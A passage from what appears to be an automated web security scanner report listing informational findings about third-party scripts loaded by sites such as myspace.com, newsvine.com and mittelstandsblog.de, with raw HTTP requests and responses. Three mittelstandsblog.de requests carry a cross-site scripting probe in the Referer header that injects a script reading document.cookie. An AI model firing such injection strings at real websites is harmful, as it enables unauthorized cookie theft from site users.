<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://www.eweek.com/js/s_code_relcon_new.js"></script>
...[SNIP]...

21.295. http://www.mindbodygreen.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mindbodygreen.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://platform.twitter.com/anywhere.js?id=uzgchTGVLmPHLMMS074Lw&v=1

Request

GET / HTTP/1.1
Host: www.mindbodygreen.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2808EAD77051D7744363EB0876447148; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 05 Feb 2011 23:02:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<link rel="Shortcut Icon" href="/favicon.ico">
<script src="http://platform.twitter.com/anywhere.js?id=uzgchTGVLmPHLMMS074Lw&v=1" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.296. http://www.mister-wong.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mister-wong.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/
http://static.mister-wong.de/mootools-1.2-core-more.js

Request

GET / HTTP/1.1
Host: www.mister-wong.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:44 GMT
Server: Apache
Set-Cookie: wongsess=e90cffbaa0823899fb24df43be3f65dd; expires=Wed, 06 Feb 2036 05:02:44 GMT; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 7516
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml"
...[SNIP]...
<link href="/ccss/default.css,buddys.css,dropdown.css,users.css,autocompleter.css,spotlight.css,remooz.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="http://static.mister-wong.de/mootools-1.2-core-more.js"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</div>
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/" type="text/javascript"></script>
...[SNIP]...

21.297. http://www.mittelstandsblog.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a.ligatus.de/?ids=9470&t=js
http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp?ipid=12476
http://partner.googleadservices.com/gampad/google_service.js
http://www.google.com/jsapi?key=notsupplied-wizard
http://www.google.com/uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js

Request

GET / HTTP/1.1
Host: www.mittelstandsblog.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.mittelstandsblog.de/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org
...[SNIP]...

<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...

<script type="text/javascript" src="http://a.ligatus.de/?ids=9470&t=js"></script>
...[SNIP]...
<div id="ad_mpu3">
<script type="text/javascript" src="http://www.google.com/uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://www.google.com/jsapi?key=notsupplied-wizard"></script>
...[SNIP]...

<script type="text/javascript" src="http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp?ipid=12476"></script>
...[SNIP]...

21.298. http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a.ligatus.de/?ids=9470&t=js
http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp?ipid=12476
http://partner.googleadservices.com/gampad/google_service.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.mittelstandsblog.de/xmlrpc.php
Link: <http://www.mittelstandsblog.de/?p=53985>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org
...[SNIP]...

<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...

<script type="text/javascript" src="http://a.ligatus.de/?ids=9470&t=js"></script>
...[SNIP]...

<script type="text/javascript" src="http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp?ipid=12476"></script>
...[SNIP]...

21.299. http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-leaderboard.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/wp-content/themes/j4b20/dfp-leaderboard.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=1;sz=468x60,728x90;ord=' + ord + '?

Request

GET /wp-content/themes/j4b20/dfp-leaderboard.js HTTP/1.1
Host: www.mittelstandsblog.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:09:47 GMT
Server: Apache
Last-Modified: Wed, 29 Dec 2010 13:13:59 GMT
ETag: "15d5f-e3-4988c57962481"
Accept-Ranges: bytes
Content-Length: 227
Content-Type: application/javascript

var rb = false; var ord = Number(ord) || Math.floor(Math.random()*10e12); document.write('<script src="http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=1;sz=468x60,728x90;ord=' + ord + '?" type="text/javascript"><\/script>
...[SNIP]...

21.300. http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-rectangle.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/wp-content/themes/j4b20/dfp-rectangle.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=3;sz=300x250,336x280;ord=' + ord + '?

Request

GET /wp-content/themes/j4b20/dfp-rectangle.js HTTP/1.1
Host: www.mittelstandsblog.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:09:47 GMT
Server: Apache
Last-Modified: Mon, 11 Oct 2010 09:53:46 GMT
ETag: "16725-d9-49254561e65dd"
Accept-Ranges: bytes
Content-Length: 217
Content-Type: application/javascript

var ord = Number(ord) || Math.floor(Math.random()*10e12);
document.write('<script type="text/javascript" src="http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=3;sz=300x250,336x280;ord=' + ord + '?"><\/script>
...[SNIP]...

21.301. http://www.mittelstandsblog.de/wp-content/themes/j4b20/dfp-skyscraper.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/wp-content/themes/j4b20/dfp-skyscraper.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=2;sz=120x600,120x800,160x600,160x800;ord=' + ord + '?

Request

GET /wp-content/themes/j4b20/dfp-skyscraper.js HTTP/1.1
Host: www.mittelstandsblog.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:09:47 GMT
Server: Apache
Last-Modified: Wed, 29 Dec 2010 13:13:57 GMT
ETag: "1672b-f9-4988c577f218b"
Accept-Ranges: bytes
Content-Length: 249
Content-Type: application/javascript

if (rb != true) { var ord = Number(ord) || Math.floor(Math.random()*10e12); document.write('<script type="text/javascript" src="http://ad.de.doubleclick.net/N6514/adj/miwi/;tile=2;sz=120x600,120x800,160x600,160x800;ord=' + ord + '?"><\/script>
...[SNIP]...

21.302. http://www.mylinkvault.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.mylinkvault.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en
Set-Cookie: PHPSESSID=os9t2670j382p7k3kipnt47et6; path=/; domain=.mylinkvault.com
Vary: Accept-Encoding
Content-Length: 12638
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE php PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<tit
...[SNIP]...
</script>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

21.303. http://www.myspace.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.myspace.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cms.myspacecdn.com/cms/js/ad_wrapper0165.js
http://js.myspacecdn.com/modules/common/static/js/atlas/msglobal_xdwbz5ec.js
http://js.myspacecdn.com/modules/splash/static/js/splashbundle_wbwfqz60.js

Request

GET / HTTP/1.1
Host: www.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-Server: 17e2d175617537d6cd02a20d8ed1e2c2653c581408958462
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149713339390&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:51 GMT; path=/
Set-Cookie: SessionDDF2=TKve/VMQSRopDi6rum8Cuf4A/ccgoSma8SHWpbuTI+vd5A49FMvesHvx7OPJtzM9hJR6JKisfQH2F0HGZi7c1Q==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:51 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: SECUREUSERAUTH=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
Set-Cookie: SECUREUSERAUTH=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
X-AspNet-Version: 4.0.30319
X-PoweredBy: Unicorns
Date: Sat, 05 Feb 2011 23:02:51 GMT
Content-Length: 82620
X-Vertical: globalsites
Set-Cookie: NSC_mc_gvuvsb-hmpcbmtjuft_80=ffffffff0948088b45525d5f4f58455e445a4a423660;expires=Sat, 05-Feb-2011 23:10:08 GMT;path=/;httponly

<!DOCTYPE html>
<html class="noJS en-US">
   
<head><meta http-equiv="X-UA-Compatible" content="IE=7" />
<title>
   Myspace | Social Entertainment
</title>
<script>
_start = +n
...[SNIP]...
</script><script type="text/javascript" src="http://js.myspacecdn.com/modules/common/static/js/atlas/msglobal_xdwbz5ec.js"></script>
<script type="text/javascript" src="http://cms.myspacecdn.com/cms/js/ad_wrapper0165.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://js.myspacecdn.com/modules/splash/static/js/splashbundle_wbwfqz60.js"></script>
...[SNIP]...

21.304. http://www.networksimplicity.com/openssh/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.networksimplicity.com
Path:	/openssh/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /openssh/ HTTP/1.1
Host: www.networksimplicity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:22 GMT
Server: Apache/2
Last-Modified: Fri, 21 Jan 2011 21:12:16 GMT
ETag: "3a686ae-7592-49a61b4670c00"
Accept-Ranges: bytes
Content-Length: 30098
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>OpenSSH on Windows</TITLE>

<META Name="author" Content="Mark Bradshaw/Network Simplicity">
<META Name="description" Content="OpenSSH on Windows">
<META Name="keywords" Cont
...[SNIP]...
</TABLE>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.305. http://www.newsvine.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js
http://context3.kanoodle.com/cgi-bin/context.cgi?id=78053631&db=context&query=*general_network:premium&cgroup=newsvine&width=160&format=standard&numresults=4&linkcolor=993733&titlecolor=993733&title=1&textcolor=666666
http://yui.yahooapis.com/combo?2.7.0/build/button/button-min.js&2.7.0/build/cookie/cookie-min.js&2.7.0/build/history/history-min.js&2.7.0/build/json/json-min.js&2.7.0/build/resize/resize-min.js&2.7.0/build/selector/selector-min.js
http://yui.yahooapis.com/combo?2.7.0/build/tabview/tabview-min.js
http://yui.yahooapis.com/combo?2.7.0/build/utilities/utilities.js&2.7.0/build/datasource/datasource-min.js&2.7.0/build/autocomplete/autocomplete-min.js&2.7.0/build/container/container-min.js&2.7.0/build/menu/menu-min.js
http://yui.yahooapis.com/combo?2.8.0/build/event-delegate/event-delegate-min.js

Request

GET / HTTP/1.1
Host: www.newsvine.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:53 GMT
Server: Apache/2.2.9 (Debian)
Vary: negotiate,Accept-Encoding
TCN: choice
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
Cache-Control: no-store, private, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: sprout=2_kGyhIl1F2ko87PYZ8d2fSYCKMKWCW5ewEBC8jEGtgcoaSGuXhq3hDkYeuKPwF%2FPFLYfYM9dQFw8AnXFXY4EQuxw%2FFQlGg8nSpMit7LSHzn3oOd7FRtEzmZhdhLzAs2S%2BOnUx9lwkG9YsIYSnzy21lut2nQgXaMSF%2BhOET5670ZWIbdSoPfX6svvgI4xRaVIegWb1xIBchOg2Ju8qox1cAhxIoFowYrBNSo9rB2hnM2QjP0Lo4xTAq%2Fg77FsEXPRS; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
Set-Cookie: vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 55069

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Ty
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://ajax.googleapis.com/ajax/libs/yui/2.7.0/build/assets/skins/sam/skin.css">
<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.7.0/build/utilities/utilities.js&2.7.0/build/datasource/datasource-min.js&2.7.0/build/autocomplete/autocomplete-min.js&2.7.0/build/container/container-min.js&2.7.0/build/menu/menu-min.js"></script>
<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.7.0/build/button/button-min.js&2.7.0/build/cookie/cookie-min.js&2.7.0/build/history/history-min.js&2.7.0/build/json/json-min.js&2.7.0/build/resize/resize-min.js&2.7.0/build/selector/selector-min.js"></script>
<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.7.0/build/tabview/tabview-min.js"></script>
<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.8.0/build/event-delegate/event-delegate-min.js"></script>
<script class="cpk_remote" language="javascript" type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
...[SNIP]...
</div><script language="javascript" src="http://context3.kanoodle.com/cgi-bin/context.cgi?id=78053631&db=context&query=*general_network:premium&cgroup=newsvine&width=160&format=standard&numresults=4&linkcolor=993733&titlecolor=993733&title=1&textcolor=666666"></script>
...[SNIP]...

21.306. http://www.nowpublic.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nowpublic.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://js.revsci.net/gateway/gw.js?csid=G07610&bpid=S0277
http://www.examiner.com/sites/all/modules/custom/pajito/widget/content/widget.js.php?partner=nowpublic

Request

GET / HTTP/1.1
Host: www.nowpublic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:54 GMT
Server: PWS/1.7.1.2
X-Px: ms iad-agg-n36 ( iad-agg-n34), ht iad-agg-n34.panthercdn.com
ETag: "ded758d99458fa48f10bde897667d88d"
Cache-Control: max-age=360
Expires: Sat, 05 Feb 2011 23:07:58 GMT
Age: 56
Content-Length: 86152
Content-Type: text/html; charset=utf-8
Last-Modified: Sat, 05 Feb 2011 22:50:27 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<div class="wrapper-body">
<script type="text/javascript" src="http://www.examiner.com/sites/all/modules/custom/pajito/widget/content/widget.js.php?partner=nowpublic#width=300" id="examiner-pajita"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
<script type="text/javascript" src="http://js.revsci.net/gateway/gw.js?csid=G07610&bpid=S0277"></script>
...[SNIP]...

21.307. http://www.oandp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.oandp.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.6.1/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=effects

Request

GET / HTTP/1.1
Host: www.oandp.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:06:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 40048
Content-Type: text/html; Charset=windows-1252
Expires: Sat, 05 Feb 2011 22:05:38 GMT
Set-Cookie: ASPSESSIONIDCQSQQCTS=MNHFLLNCGGABOKOGOBCCPICA; path=/
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>oandp.co
...[SNIP]...
<link rel="search" type="application/opensearchdescription+xml" title="oandp.com PECOS Search" href="http://www.oandp.com/opensearch-pecos.xml" />

       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.6.1/prototype.js"></script>
       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=effects"></script>
...[SNIP]...

21.308. http://www.officedepot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.www.odcdn.com/1421577119/bundles/cm.js
http://static.www.odcdn.com/N136538418/bundles/lib.js

Request

GET / HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.309. http://www.officedepot.com/promo/list5.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/promo/list5.do

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.www.odcdn.com/1421577119/bundles/cm.js
http://static.www.odcdn.com/N136538418/bundles/lib.js

Request

GET /promo/list5.do HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.310. http://www.oneview.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.oneview.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js
http://www.google-analytics.com/ga.js
http://yui.yahooapis.com/2.8.1/build/yuiloader/yuiloader-min.js

Request

GET / HTTP/1.1
Host: www.oneview.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.311. http://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.openforum.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=7688342

Request

GET / HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
Expires: Sat, 05 Feb 2011 22:07:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:07:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: BIGipServerAmex=2769004736.20480.0000; path=/
Content-Length: 102172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpro
...[SNIP]...
</div>
<script src="https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js" type="text/javascript"></script>
...[SNIP]...


<script language="JavaScript" src="https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=7688342"></script>
...[SNIP]...

21.312. https://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=E8EA54

Request

GET / HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.313. https://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=988B6E8

Request

GET /?cid=inav_home&inav=menu_business_openforum HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.314. http://www.opensource.org/licenses previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /licenses HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.315. http://www.opensource.org/licenses/gpl-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses/gpl-license.php

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /licenses/gpl-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.316. http://www.opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses/mit-license.php

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.317. http://www.ortho.hyperguides.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortho.hyperguides.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

